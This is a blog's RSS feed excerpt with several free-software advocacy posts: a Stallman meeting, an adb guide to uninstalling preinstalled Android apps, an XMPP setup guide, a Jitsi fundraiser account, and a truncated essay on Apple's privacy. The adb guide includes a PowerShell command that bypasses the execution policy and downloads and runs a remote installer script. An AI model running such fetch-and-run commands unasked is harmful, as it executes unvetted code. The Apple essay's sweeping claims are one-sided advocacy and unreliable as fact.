<p>His voice was quite passionate when he was telling us those things. Further, he told us that Microsoft Windows is an example of a proprietary software and mentioned that a backdoor was found in Windows in the past. I didn&rsquo;t know what backdoor means and I don&rsquo;t remember if he told us that.</p>
<p>He had hearing problems, so we had to be loud while interacting with him. My friend then asked about Apple&rsquo;s software. Something like &ldquo;Is Apple&rsquo;s software secure?&rdquo; Stallman replied something related to Apple&rsquo;s locking of user and Apple&rsquo;s software being nonfree. Bu I forgot a lot of at he said.</p>
<p>I remember that he also said that Google services are surveillance systems, and he does not use them. He insisted that we should also refuse to use them. I remember him mentioning that NSA spies on Americans as well as other countries&rsquo; citizens using Google services like Gmail, Google Maps. Poor me, I didn&rsquo;t know what is NSA.</p>
<p>He also mentioned that Google Maps does not load if he disables the Javascript code sent by the site. Earlier, it used to load without Javascript. He kind of implied that sites should load without Javascript. And he probably gave a few more examples when disabling Javascript does not load the website. At that time, I didn&rsquo;t understand why would someone disable Javascript when visiting a website.</p>
<p>Then, our principal reminded us to take photos with Richard Stallman. Stallman agreed with the condition that we never upload his photo on Facebook, Instagram or WhatsApp, because that company is a surveillance engine, and we should not feed it. We agreed with the condition and clicked photos with him.</p>
<figure>
<img src="https://ravidwivedi.in/images/photo-with-rms.avif" width=400 height=300>
<figcaption>My photo with RMS</figcaption>
</figure>
<p>Richard Stallman was then treated with Dal Vada from our college canteen, and he really liked that.</p>
<p>This meeting planted a few questions in my mind about the software I was using. At that time, I didn&rsquo;t have adequate political understanding to get his point. I also found it a bit sad that the person is known for &ldquo;Linux&rdquo; and &ldquo;Open Source&rdquo;, even though he despises those labels.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[How I deleted Google, Samsung apps from my Android without rooting]]></title>
            <link>https://ravidwivedi.in/posts/how-i-removed-gapps/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/how-i-removed-gapps/</guid>
            <pubDate>Tue, 27 Jul 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[In this post, I will write how I deleted (yes, deleted, uninstalled, gone! not disabled) Google apps, Samsung apps and Facebook app from my phone. These apps are pre-installed and they only give an option to “Diasble” these apps which does not do anything, it only stops showing them in the app drawer. These apps are dangerous to user’s privacy and record their whole lives through their phones. You do not need to know anything about the command line to follow this guide.
showTableOfContents: true
Sahil’s blog post on Mobile Made More Private was the one which guided me in this process. Be sure to check out that for more details and the adb commands cheat sheet that Sahil mentions in that post.
A fair warning and comment from Chris Titus Tech:
It is dangerous to remove system apps that you don’t see in the app drawer. It can lead to you doing a full system recovery.
On Non-Rooted phones some applications are installed as root and error with “[DELETE_FAILED_INTERNAL_ERROR]”. Type this to bypass:
adb shell pm uninstall –user 0 
So, it is a “Do at your own risk” article.
How I did it
I have a Samsung Galaxy S9+ phone with Google and Samsung’s nonfree software installed in it. I did not yet root my phone to install a custom ROM. I have a Macbook which does not allow me to connect my Android using a USB cable, a step which is essential to run command line in your android to uninstall these apps.
So, I connected my phone to a laptop in which Windows 10 was installed. The steps are similar and commands are same (except for the grep command which works in GNU/Linux but not in Windows, which I will mention) if you using GNU/Linux or macOS.
These are the steps I followed in Windows 10:
Step 1 : Install chocolatey, a freedom-respecting command line program to download software in Widnows. The steps to install Chocolatey are here. You don’t need to visit that link, I will write all the steps for you.
Below are the steps for installing Chocolatey on Windows.
Step 1a : Press windows button on your keyboard and search for ‘PowerShell’. Right click on PowerShell and click on an option which says run it in the administrator mode.
Step 1b : In the PowerShell, run the command (which means, copy the following command and paste it in PowerShell and press enter on Keyboard):
Get-ExecutionPolicy
If it returns Restricted, run the command:
Set-ExecutionPolicy AllSigned
Step 1c : Run the following command:
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))
If you do not get any error message, congratulations! Chocolatey is installed in your system.
Type choco -? in the command line and press enter. If there is no error, it means that Chocolatey has been installed in your system.
Step 2 : We will install ADB Platform Tools. To install, run the command:
choco install adb
Step 3 : Setting up your Android phone
3a :  Open Settings on your phone, and select “About”.
3b : Tap on “Build number” seven times.
3c : Go back, and select “Developer options”.
3d : Scroll down, and check the “Android debugging” or “USB debugging” entry under “Debugging”.
3e : Plug your device into your computer.
3f : On the computer, open up a terminal/command prompt and type adb devices.
3g : A dialog should show on your device, asking you to allow usb debugging. Check “always allow”, and choose “OK”.
Step 4 : Run the command:
adb devices
This command should list the Android phone you connected to your computer. If it lists your phone, you are ready to proceed. Otherwise, your phone isn’t connected and not ready to use adb commands.
Step 5 : You can list all the packages of Google in your phone by using the command:
In Windows: adb shell pm list packages | findstr google 
In GNU/Linux or macOS: adb shell pm list packages | grep google 
The following image has commands that can be used to uninstall Google apps.
 Uninstall Google apps from Android using adb commands


Uninstalling the apps
Let’s try and uninstall the YouTube app. Check the image above for the package name. The package name for YouTube is com.google.android.youtube. The following command should be the one to uninstall YouTube (same command for Windows, macOS, GNU/Linux):
adb shell pm uninstall -k --user 0 com.google.android.youtube
If the command returns the message saying: Success, then you have successfully uninstalled YouTube.
Similarly, you can uninstall any other app using this command by replacing com.google.android.youtube by the package name of the app.
For removing Google Play Store, I used the following command:
adb shell pm uninstall -k --user 0 com.android.vending
For me, it was no problem uninstalling Google Play Store but I have heard it can be risky.
I have listed all the commands that I tried in my phone in adb-commands-ravi.txt. Feel free to use some or all of these commands.
A trick to know the app ID for most of the apps is to visit their Google Play Store page. For example, visit the Facebook app on Google Play Store and look at the URL. Copy the part after id= which is com.facebook.katana.
 To retrieve package name of an app

Therefore, the command to uninstall Facebook will be:
adb shell pm uninstall -k --user 0 com.facebook.katana
That’s it for now.
Happy Hacking with (hopefully) less amount of tracking:)]]></description>
            <content:encoded><![CDATA[<p>In this post, I will write how I deleted (yes, deleted, uninstalled, gone! not disabled) Google apps, Samsung apps and Facebook app from my phone. These apps are pre-installed and they only give an option to &ldquo;Diasble&rdquo; these apps which does not do anything, it only stops showing them in the app drawer. These apps are dangerous to user&rsquo;s privacy and <a href="https://www.theguardian.com/commentisfree/2018/mar/28/all-the-data-facebook-google-has-on-you-privacy">record their whole lives</a> through their phones. You do not need to know anything about the command line to follow this guide.
showTableOfContents: true</p>
<p>Sahil&rsquo;s blog post on <a href="https://blog.sahilister.in/2021/05/mobile-made-more-private">Mobile Made More Private</a> was the one which guided me in this process. Be sure to check out that for more details and the <a href="https://christitus.com/debloat-android/">adb commands cheat sheet</a> that Sahil mentions in that post.</p>
<br>
<p><strong>A fair warning and comment from Chris Titus Tech:</strong></p>
<p>It is dangerous to remove system apps that you don’t see in the app drawer. It can lead to you doing a full system recovery.</p>
<p>On Non-Rooted phones some applications are installed as root and error with “[DELETE_FAILED_INTERNAL_ERROR]”. Type this to bypass:</p>
<p>adb shell pm uninstall &ndash;user 0 <appname></p>
<br>
<p>So, it is a &ldquo;Do at your own risk&rdquo; article.</p>
<h4 id="how-i-did-it">How I did it</h4>
<p>I have a Samsung Galaxy S9+ phone with Google and Samsung&rsquo;s nonfree software installed in it. I did not yet root my phone to install a custom ROM. I have a Macbook which does not allow me to connect my Android using a USB cable, a step which is essential to run command line in your android to uninstall these apps.</p>
<p>So, I connected my phone to a laptop in which Windows 10 was installed. The steps are similar and commands are same (except for the <code>grep</code> command which works in GNU/Linux but not in Windows, which I will mention) if you using GNU/Linux or macOS.</p>
<p>These are the steps I followed in Windows 10:</p>
<p><strong>Step 1</strong> : Install chocolatey, a <a href="https://github.com/chocolatey/choco/blob/master/LICENSE">freedom-respecting</a> command line program to download software in Widnows. The steps to install Chocolatey are <a href="https://chocolatey.org/install">here</a>. You don&rsquo;t need to visit that link, I will write all the steps for you.</p>
<p>Below are the steps for installing Chocolatey on Windows.</p>
<p><strong>Step 1a</strong> : Press windows button on your keyboard and search for &lsquo;PowerShell&rsquo;. Right click on PowerShell and click on an option which says run it in the administrator mode.</p>
<p><strong>Step 1b</strong> : In the PowerShell, run the command (which means, copy the following command and paste it in PowerShell and press enter on Keyboard):</p>
<p><code>Get-ExecutionPolicy</code></p>
<p>If it returns <code>Restricted</code>, run the command:</p>
<p><code>Set-ExecutionPolicy AllSigned</code></p>
<p><strong>Step 1c</strong> : Run the following command:</p>
<p><code>Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))</code></p>
<p>If you do not get any error message, congratulations! Chocolatey is installed in your system.</p>
<p>Type <code>choco -?</code> in the command line and press enter. If there is no error, it means that Chocolatey has been installed in your system.</p>
<p><strong>Step 2</strong> : We will install ADB Platform Tools. To install, run the command:</p>
<p><code>choco install adb</code></p>
<p><strong>Step 3</strong> : Setting up your Android phone</p>
<p><strong>3a</strong> :  Open Settings on your phone, and select “About”.</p>
<p><strong>3b</strong> : Tap on “Build number” seven times.</p>
<p><strong>3c</strong> : Go back, and select “Developer options”.</p>
<p><strong>3d</strong> : Scroll down, and check the “Android debugging” or “USB debugging” entry under “Debugging”.</p>
<p><strong>3e</strong> : Plug your device into your computer.</p>
<p><strong>3f</strong> : On the computer, open up a terminal/command prompt and type adb devices.</p>
<p><strong>3g</strong> : A dialog should show on your device, asking you to allow usb debugging. Check “always allow”, and choose “OK”.</p>
<p><strong>Step 4</strong> : Run the command:</p>
<p><code>adb devices</code></p>
<p>This command should list the Android phone you connected to your computer. If it lists your phone, you are ready to proceed. Otherwise, your phone isn&rsquo;t connected and not ready to use adb commands.</p>
<p><strong>Step 5</strong> : You can list all the packages of Google in your phone by using the command:</p>
<p>In Windows: <code>adb shell pm list packages | findstr google </code></p>
<p>In GNU/Linux or macOS: <code>adb shell pm list packages | grep google </code></p>
<p>The following image has commands that can be used to uninstall Google apps.</p>
 <figure>
  <img src="https://ravidwivedi.in/images/adb-commands.avif">
  <figcaption> Uninstall Google apps from Android using adb commands</figcaption>
</figure>
<br>
<h4 id="uninstalling-the-apps">Uninstalling the apps</h4>
<p>Let&rsquo;s try and uninstall the YouTube app. Check the image above for the package name. The package name for YouTube is <code>com.google.android.youtube</code>. The following command should be the one to uninstall YouTube (same command for Windows, macOS, GNU/Linux):</p>
<p><code>adb shell pm uninstall -k --user 0 com.google.android.youtube</code></p>
<p>If the command returns the message saying: <code>Success</code>, then you have successfully uninstalled YouTube.</p>
<p>Similarly, you can uninstall any other app using this command by replacing <code>com.google.android.youtube</code> by the package name of the app.</p>
<p>For removing Google Play Store, I used the following command:</p>
<p><code>adb shell pm uninstall -k --user 0 com.android.vending</code></p>
<p>For me, it was no problem uninstalling Google Play Store but I have heard it can be risky.</p>
<p>I have listed all the commands that I tried in my phone in <a href="https://ravidwivedi.in/files/adb-commands-ravi.txt">adb-commands-ravi.txt</a>. Feel free to use some or all of these commands.</p>
<p>A trick to know the app ID for most of the apps is to visit their Google Play Store page. For example, visit the Facebook app on Google Play Store and look at the URL. Copy the part after <code>id=</code> which is <code>com.facebook.katana</code>.</p>
 <figure>
  <img src="https://ravidwivedi.in/images/fb-on-play-store.png"  style="width:70%, height:70%">
  <figcaption> To retrieve package name of an app</figcaption>
</figure>
<p>Therefore, the command to uninstall Facebook will be:</p>
<p><code>adb shell pm uninstall -k --user 0 com.facebook.katana</code></p>
<p>That&rsquo;s it for now.</p>
<p>Happy Hacking with (hopefully) less amount of tracking:)</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[A guide to set up your XMPP account]]></title>
            <link>https://ravidwivedi.in/posts/xmpp-guide/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/xmpp-guide/</guid>
            <pubDate>Sat, 24 Jul 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[This is a guide to set up an account on XMPP, which is a federated chatting system.
You can watch this video tutorial to create an XMPP account without giving your phone number to the service:

I will use the freedom-respecting software Conversations app for demonstration. Conversations app is available for Android only. Conversations is a paid app on Google Play Store. If you would like to support the development of Conversations app, then you can download it from Google Play Store. Otherwise, you can follow the steps below to download Conversations app free of cost. If you would like to download a free-of-cost XMPP app from Play Store, then check out Blabber app.
Currently, Blabber app is very good for XMPP. It has some more functionality than Conversations app and these features are usually requested by users in the Conversations app.
Some examples of XMPP apps for other platforms are- Dino for GNU/Linux, Gajim for Windows and GNU/Linux, Monal for macOS and iOS.  You can choose any XMPP app, and this guide probably works for all of them. A list of XMPP apps is here and all of them support OMEMO encryption by default.
You don’t need to give any personal details, like phone number or email, to create an account. If you would like to register an XMPP account using your phone number (similar to how you set up in WhatsApp), then you can try Quicksy app, which respects your freedom as you can still connect to people using any XMPP app and XMPP service provider (remember that XMPP is federated!).
Steps to set up an account on Conversations app:
Step 1: Download F-Droid from here.
F-Droid is a repository of free software apps. It is a privacy respecting alternative of Google Play Store. One difference is that F-Droid only contains apps which are freedom-respecting (they respect all four freedoms mentioned here) and verified by the F-Droid community for malicious features.
F-Droid will also ensure that your app receives all the future updates. F-Droid community also builds apps from the source code which ensures that the source code indeed matches the app you download in your system.
Step 2: Search for “Conversations” app in F-Droid and install it.
Step 3: Register an XMPP account on any xmpp server. You can choose an XMPP service provider from this URL. It will give you a list of 5 servers that you can register on, and then will give you 5 different random servers upon refreshing the page.
Step 4: Open the Conversations app and then click on ‘I already have an account’ option.
Step 5: In the XMPP address option, put your xmpp address, which will be of the format username@domain  – depending on which site you used to sign up. Click ‘Next’.
Step 6: You can add a profile picture if you wish and then click ‘Publish’. If you do not want to add a profile picture, select ‘Skip’.
Step 7: Conversations app will ask you permission to access your contacts. You can click on ‘Deny’. And it will then ask to stop battery optimization for the app. You can enable Conversations to run in the background.
Step 8:  Conversations app will then ask you to stop battery optimization for the app. I suggest you to allow Conversations to run without optimizing the battery. The developer of Conversations app has explained how this permission has virtually zero impact on battery life.
Step 9: To add a contact, press the ‘+’ button at the bottom of the Conversations app and click on ‘Add Contact’.
Step 10: Type the XMPP address of the XMPP user you want to contact. In the image, I have entered my own XMPP address - ravi@poddery.com - as an example.
Step 11: Just send an introduction message to your friend to exchange your OMEMO keys.
Congratulations on setting up your XMPP account. All the messages will be OMEMO encrypted by default – means that only you and the person you are exchanging messages with can read them. Conversations app also support voice call and video call to any XMPP app that supports the same.]]></description>
            <content:encoded><![CDATA[<p>This is a guide to set up an account on <a href="https://www.xmpp.org/">XMPP</a>, which is a <a href="https://ravidwivedi.in/glossary/#federated-services">federated</a> chatting system.</p>
<p>You can watch this video tutorial to create an XMPP account without giving your phone number to the service:</p>
<iframe width="560" height="315" sandbox="allow-same-origin allow-scripts allow-popups" src="https://videos.fsci.in/videos/embed/e6c2158a-7d6e-4108-942c-ef616530301e" frameborder="0" allowfullscreen></iframe>
<p>I will use the <a href="https://ravidwivedi.in/free-software">freedom-respecting</a> software <a href="https://conversations.im">Conversations app</a> for demonstration. Conversations app is available for Android only. Conversations is a paid app on Google Play Store. If you would like to support the development of Conversations app, then you can download it from Google Play Store. Otherwise, you can follow the steps below to download Conversations app free of cost. If you would like to download a free-of-cost XMPP app from Play Store, then check out <a href="https://www.blabber.im/EN.html">Blabber</a> app.</p>
<p>Currently, Blabber app is very good for XMPP. It has some more functionality than Conversations app and these features are usually requested by users in the Conversations app.</p>
<p>Some examples of XMPP apps for other platforms are- <a href="https://dino.im">Dino</a> for GNU/Linux, <a href="https://gajim.org">Gajim</a> for Windows and GNU/Linux, <a href="https://monal.im">Monal</a> for macOS and iOS.  You can choose any XMPP app, and this guide probably works for all of them. A list of XMPP apps is <a href="https://xmpp.org/software/clients.html">here</a> and all of them support OMEMO encryption by default.</p>
<p>You don&rsquo;t need to give any personal details, like phone number or email, to create an account. If you would like to register an XMPP account using your phone number (similar to how you set up in WhatsApp), then you can try <a href="https://quicksy.im">Quicksy app</a>, which respects your freedom as you can still connect to people using any XMPP app and XMPP service provider (remember that XMPP is federated!).</p>
<p>Steps to set up an account on Conversations app:</p>
<p>Step 1: Download F-Droid from <a href="https://f-droid.org/">here</a>.</p>
<img src="https://ravidwivedi.in/images/f-droid-download.jpeg" width="250" height="350">
<p>F-Droid is a repository of <a href="https://www.gnu.org/philosophy/free-software-even-more-important.html">free software</a> apps. It is a <a href="https://www.f-droid.org/en/2019/05/05/trust-privacy-and-free-software.html">privacy respecting</a> alternative of Google Play Store. One difference is that F-Droid only contains apps which are freedom-respecting (they respect all four freedoms mentioned <a href="https://gnu.org/philosophy/free-sw.html">here</a>) and verified by the F-Droid community for malicious features.</p>
<p>F-Droid will also ensure that your app receives all the future updates. F-Droid community <a href="https://www.f-droid.org/en/2019/05/05/trust-privacy-and-free-software.html">also builds apps from the source code</a> which ensures that the source code indeed matches the app you download in your system.</p>
<p>Step 2: Search for &ldquo;Conversations&rdquo; app in F-Droid and install it.</p>
<img src="https://ravidwivedi.in/images/download-conversations.jpeg" width="250" height="350">
<p>Step 3: Register an XMPP account on any xmpp server. You can choose an XMPP service provider from <a href="https://compliance.conversations.im/">this URL</a>. It will give you a list of 5 servers that you can register on, and then will give you 5 different random servers upon refreshing the page.</p>
<p>Step 4: Open the Conversations app and then click on &lsquo;I already have an account&rsquo; option.</p>
<img src="https://ravidwivedi.in/images/conversations-1.jpeg" width="250" height="350">
<p>Step 5: In the XMPP address option, put your xmpp address, which will be of the format username@domain  &ndash; depending on which site you used to sign up. Click &lsquo;Next&rsquo;.</p>
<img src="https://ravidwivedi.in/images/conversations-2.jpeg" width="250" height="350">
<p>Step 6: You can add a profile picture if you wish and then click &lsquo;Publish&rsquo;. If you do not want to add a profile picture, select &lsquo;Skip&rsquo;.</p>
<img src="https://ravidwivedi.in/images/conversations-3.jpeg" width="250" height="350">
<p>Step 7: Conversations app will ask you permission to access your contacts. You can click on &lsquo;Deny&rsquo;. And it will then ask to stop battery optimization for the app. You can enable Conversations to run in the background.</p>
<img src="https://ravidwivedi.in/images/conversations-4.jpeg" width="250" height="350">
<p>Step 8:  Conversations app will then ask you to stop battery optimization for the app. I suggest you to allow Conversations to run without optimizing the battery. The developer of Conversations app has explained how this permission has <a href="https://gultsch.de/xmpp_2016.html">virtually zero impact on battery life</a>.</p>
<img src="https://ravidwivedi.in/images/conversations-5.jpeg" width="250" height="350">
<p>Step 9: To add a contact, press the &lsquo;+&rsquo; button at the bottom of the Conversations app and click on &lsquo;Add Contact&rsquo;.</p>
<img src="https://ravidwivedi.in/images/conversations-6.jpeg" width="250" height="350">
<p>Step 10: Type the XMPP address of the XMPP user you want to contact. In the image, I have entered my own XMPP address - <a href="mailto:ravi@poddery.com">ravi@poddery.com</a> - as an example.</p>
<img src="https://ravidwivedi.in/images/conversations-7.jpeg/" width="250" height="350">
<p>Step 11: Just send an introduction message to your friend to exchange your OMEMO keys.</p>
<img src="https://ravidwivedi.in/images/conversations-8.jpeg" width="250" height="350">
<p>Congratulations on setting up your XMPP account. All the messages will be OMEMO encrypted by default &ndash; means that only you and the person you are exchanging messages with can read them. Conversations app also support voice call and video call to any XMPP app that supports the same.</p>
  <img src="https://ravidwivedi.in/images/shredder.png" width="250" height="350">
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[My experience in volunteering for FSCI's Jitsi Meet Crowdfunding campaign]]></title>
            <link>https://ravidwivedi.in/posts/fsci-jmc/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/fsci-jmc/</guid>
            <pubDate>Wed, 21 Jul 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[showTableOfContents: true
Free Software Community of India(FSCI) is committed to promote software freedom and make privacy accessible to common people. Campaigning and raising awareness for privacy and urging people to not use Google/Facebook/Zoom and other proprietary services is not enough, users must also have alternatives to these services which were pretty much turned into necessity (for privileged people) especially in the pandemic time. Jitsi is a freedom-respecting video-conferencing software which gives users the control over the software. Jitsi allows anyone to run their own server, allowing them to fully control their means of communication. Since it is not feasible for everyone to run their own Jitsi server, FSCI decided to work on running their own server which would be open to all, can be used by anyone for their meetings, funded by voluntary donations and must respect user’s privacy.
To run a server funded by donations, we needed volunteers for: running and maintaining a Jitsi server, writing script for the fundraiser video, asking for donations in the fundraiser video, editing the fundraiser video, maintaining website, giving a bank account to accept donations, replying to emails regarding queries, taking initiative and coordinating all this.
I think it was around November 2020 when Sahil told me about FSCI’s initiative to run a Jitsi server and I agreed to volunteer for asking for donations in the fundraiser video. Arun Mathai guided me in the process. We had meetings and we rehearsed the script a few times and assigned the lines. I had some problems shooting the video of myself speaking in the camera. Talking to myself alone on camera is not exactly my plus point. After several attempts, I could make a clip which was fine to be included in the fundraiser video (thanks to mom for shooting the clip).
We thought it would be good if there is diversity among the people asking for donations in the fundraiser video. So, I asked my friend Ashutosh, who is also inclined towards free software, if he can help. Then he discussed the fundraiser with his friends and two of his friends volunteered to appear in the video to ask for doantions. This opportunity raised awareness about free software and existence of community-powered services among his friends – which furthers our goal. I also asked my friend Sayan for recording the Bengali snippet of the video and he agreed to volunteer for the same.
It took some months after that (we did all of the above by the end of December 2020) to finally release the website and the Jitsi server acutally operational. After the release, we, at FSCI, use meet.fsci.in for all our meetings. I use this server for all my personal meetings.
I am glad that the fundraiser is going strong – as of writing, we have raised 57% of the funds needed to run the service for 2 years. As of now, I think that drafting the privacy policy is a pending major task which I will try to do as soon as possbile.
You are invited to use the Jitsi server at meet.fsci.in for your personal meeting needs without worrying about someone prying on you. You can also host your classes. The server can handle around 30 participants in a meeting. If you would like to support the service, you can donate by visitng here or volunteer to help us in running the service by contacting FSCI. The transparency is ensured by listing all the contributors and their donation amounts publicly (you can be an anonymous contributor).
Please send your comments/suggestions on the fundraiser/meet server to FSCI (the contact option is at the bottom of the link.
Thanks to all the volunteers and contributors for making meet.fsci.in possible.]]></description>
            <content:encoded><![CDATA[<p>showTableOfContents: true
<a href="fsci.in">Free Software Community of India(FSCI)</a> is committed to promote software freedom and make privacy accessible to common people. Campaigning and raising awareness for privacy and urging people to not use Google/Facebook/Zoom and other proprietary services is not enough, users must also have alternatives to these services which were pretty much turned into necessity (for privileged people) especially in the pandemic time. Jitsi is a <a href="http://www.gnu.org/philosophy/free-software-even-more-important.html">freedom-respecting</a> video-conferencing software which gives users the control over the software. Jitsi allows anyone to run their own server, allowing them to fully control their means of communication. Since it is not feasible for everyone to run their own Jitsi server, FSCI decided to work on running their own server which would be open to all, can be used by anyone for their meetings, funded by voluntary donations and must respect user&rsquo;s privacy.</p>
<p>To run a server funded by donations, we needed volunteers for: running and maintaining a Jitsi server, writing script for the fundraiser video, asking for donations in the fundraiser video, editing the fundraiser video, maintaining website, giving a bank account to accept donations, replying to emails regarding queries, taking initiative and coordinating all this.</p>
<p>I think it was around November 2020 when <a href="https://blog.sahilister.in/">Sahil</a> told me about FSCI&rsquo;s initiative to run a Jitsi server and I agreed to volunteer for asking for donations in the fundraiser video. <a href="https://arunmathaisk.in/">Arun Mathai</a> guided me in the process. We had meetings and we rehearsed the script a few times and assigned the lines. I had some problems shooting the video of myself speaking in the camera. Talking to myself alone on camera is not exactly my plus point. After several attempts, I could make a clip which was fine to be included in the fundraiser video (thanks to mom for shooting the clip).</p>
<p>We thought it would be good if there is diversity among the people asking for donations in the fundraiser video. So, I asked my friend Ashutosh, who is also inclined towards free software, if he can help. Then he discussed the fundraiser with his friends and two of his friends volunteered to appear in the video to ask for doantions. This opportunity raised awareness about free software and existence of community-powered services among his friends &ndash; which furthers our goal. I also asked my friend Sayan for recording the Bengali snippet of the video and he agreed to volunteer for the same.</p>
<p>It took some months after that (we did all of the above by the end of December 2020) to finally release the website and the Jitsi server acutally operational. After the release, we, at FSCI, use meet.fsci.in for all our meetings. I use this server for all my personal meetings.</p>
<p>I am glad that the fundraiser is going strong &ndash; as of writing, we have raised <a href="https://fund.fsci.in/contributors/">57% of the funds</a> needed to run the service for 2 years. As of now, I think that drafting the privacy policy is a pending major task which I will try to do as soon as possbile.</p>
<p>You are invited to use the Jitsi server at <a href="https://meet.fsci.in">meet.fsci.in</a> for your personal meeting needs without worrying about someone prying on you. You can also host your classes. The server can handle around 30 participants in a meeting. If you would like to support the service, you can donate by visitng <a href="https://fund.fsci.in">here</a> or volunteer to help us in running the service by <a href="https://fsci.in">contacting FSCI</a>. The transparency is ensured by listing all the contributors and their donation amounts publicly (you can be an anonymous contributor).</p>
<p>Please send your comments/suggestions on the fundraiser/meet server to FSCI (the contact option is at the bottom of the <a href="https://fund.fsci.in/">link</a>.</p>
<p>Thanks to all the volunteers and <a href="https://fund.fsci.in/contributors/">contributors</a> for making <a href="https://meet.fsci.in">meet.fsci.in</a> possible.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Apple's privacy trap]]></title>
            <link>https://ravidwivedi.in/posts/apple-trap/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/apple-trap/</guid>
            <pubDate>Tue, 13 Jul 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Apple is a company which claims that protecting users’ privacy is one of their core values. Recently, they announced a new software update to their iOS with the idea that the apps made by independent developers have to request explicit permission from users before tracking them.
That means Apple cares about users’ privacy.
Or do they?
Sure, they are not involved in targeted advertising, and they don’t earn money from your data and therefore, do not track you, right?
And they encrypt all contents of iOS devices, making it impossible for third-parties to access your data, right?
They are working day and night to make your life better, convenient and at the same time, defend your privacy. What more can we ask for?
Well ….. we don’t know if any of these claims are true
because Apple’s iOS is a nonfree/proprietary program, and therefore these claims cannot be independently verified. Apple does not give its users the freedom to study how iOS works– it does not provide its source code.
 Proprietary Software controls the user.  Source: Richard Stallman's Ted talk slides released under CC-BY 3.0 license.


Even if Apple’s claims are true, this only means you get privacy from others and not from Apple. They might be encrypting all your contents stored in iOS, we don’t know, but they have also installed backdoors. This means Apple can make changes in your devices remotely without your permission. They can add any malicious features in the software at any time without you knowing. The backdoors were found in macOS as well as in the iOS. That means your computer isn’t yours.
While Apple says that it respects its user’s privacy, their track-record says exactly the opposite.
Snowden’s documents show that Apple is a part of NSA’s global surveillance program.
In China, it stores all user data on servers controlled by the Chinese government.
All the search queries made in macOS’ spotlight are send to Apple.
Apple uploaded private files of its user to iCloud without consent.
You remember who is Siri? Siri is Apple’s voice assistant. It is Apple’s voice assistant, not your voice assistant. You might think that Siri listens to you only when prompted, but it turns out that it listens and records all the time. Apple also hires people specifically for listening to users’ Siri recordings.
You can check out more cases of surveillance by Apple by visiting this link.
Cory Doctorow argues that surrendering your autonomy by moving to Apple’s fortress has the same problem as all benevolent dictatorships: it works well, but fails badly.  Let me quote Cory Doctorow from this article,
Apple rightly points out that the world is full of bandits who will steal your data and money and ruin your life, and it holds itself out as your protector …. But when Apple sides with the bandits, the walls
that once protected you now make you easy prey.
Overall, Apple claims itself to be the guardian protecting its users’ privacy, while their track record is exactly the opposite, they increased surveillance on users with the latest macOS update, they won’t allow third-party repair shops but their “authorized” technicians themselves leak users’ data. Apple’s privacy claims, at their best, only give users privacy from third-parties. That is what their privacy trap is– Redefine privacy to mean privacy from others and earn goodwill by advertising that they care about users’ privacy. Surveillance is just a symptom of proprietary software. The bigger problem is that Apple keeps tight control over iDevices and users don’t control them.
The only software we can trust is free software, which respects user’s freedom. Users have control over the software if it is free software. If the software is free, users can check for malicious code and remove the malicious functionalities.
 Free Software respects your freedom. Source: Richard Stallman's Ted talk slides released under CC-BY 3.0 license.

A nonfree software, on the other hand, is malware. Apple’s iOS is malware because it is nonfree software. It is a black box. We never know what it is up to, so any trust on Apple respecting user’s privacy is a blind trust.]]></description>
            <content:encoded><![CDATA[<p>Apple is a company which <a href="https://www.apple.com/privacy/">claims that protecting users&rsquo; privacy is one of their core values</a>. Recently, they announced a new software update to their iOS with the idea that the apps made by independent developers have to <a href="https://www.inc.com/jason-aten/apples-privacy-update-is-turning-out-to-be-worst-case-scenario-for-facebook.html">request explicit permission from users before tracking them</a>.</p>
<p>That means Apple cares about users&rsquo; privacy.</p>
<p>Or do they?</p>
<p>Sure, they are not involved in <a href="https://en.wikipedia.org/wiki/Targeted_advertising">targeted advertising</a>, and they don&rsquo;t earn money from your data and therefore, do not track you, right?</p>
<p>And they <a href="https://arstechnica.com/gadgets/2014/09/apple-expands-data-encryption-under-ios-8-making-handover-to-cops-moot/">encrypt all contents of iOS devices</a>, making it impossible for third-parties to access your data, right?</p>
<p>They are working day and night to make your life better, convenient and at the same time, defend your privacy. What more can we ask for?</p>
<p>Well &hellip;.. we don&rsquo;t know if any of these claims are true</p>
<p>because Apple&rsquo;s iOS is a <a href="https://gnu.org/malware">nonfree/proprietary program</a>, and therefore these claims cannot be independently verified. Apple does not give its users the freedom to study how iOS works&ndash; it does not provide its <a href="https://en.wikipedia.org/wiki/Source_code">source code</a>.</p>
<figure>
  <img src="https://ravidwivedi.in/images/proprietary.avif" alt="Cartoon: A user is being walked on a leash. The leash is held by proprietary software." width="300" height="300" >
  <figcaption> Proprietary Software controls the user.  Source: <a href="https://static.fsf.org/nosvn/RMS_Intro_to_FS_TEDx_Slideshow.odp">Richard Stallman's Ted talk slides</a> released under CC-BY 3.0 license.</figcaption>
</figure>
<br>
<p>Even if Apple&rsquo;s claims are true, this only means you get privacy from others and not from Apple. They might be encrypting all your contents stored in iOS, we don&rsquo;t know, but <a href="https://gizmodo.com/report-claims-apple-left-a-backdoor-open-at-fbis-reques-1841135460">they have also installed backdoors</a>. This means Apple can make changes in your devices remotely without your permission. They can add any malicious features in the software at any time without you knowing. The backdoors were found in <a href="https://www.gnu.org/proprietary/malware-apple.html#back-doors">macOS as well as in the iOS</a>. That means <a href="https://sneak.berlin/20201112/your-computer-isnt-yours/">your computer isn’t yours</a>.</p>
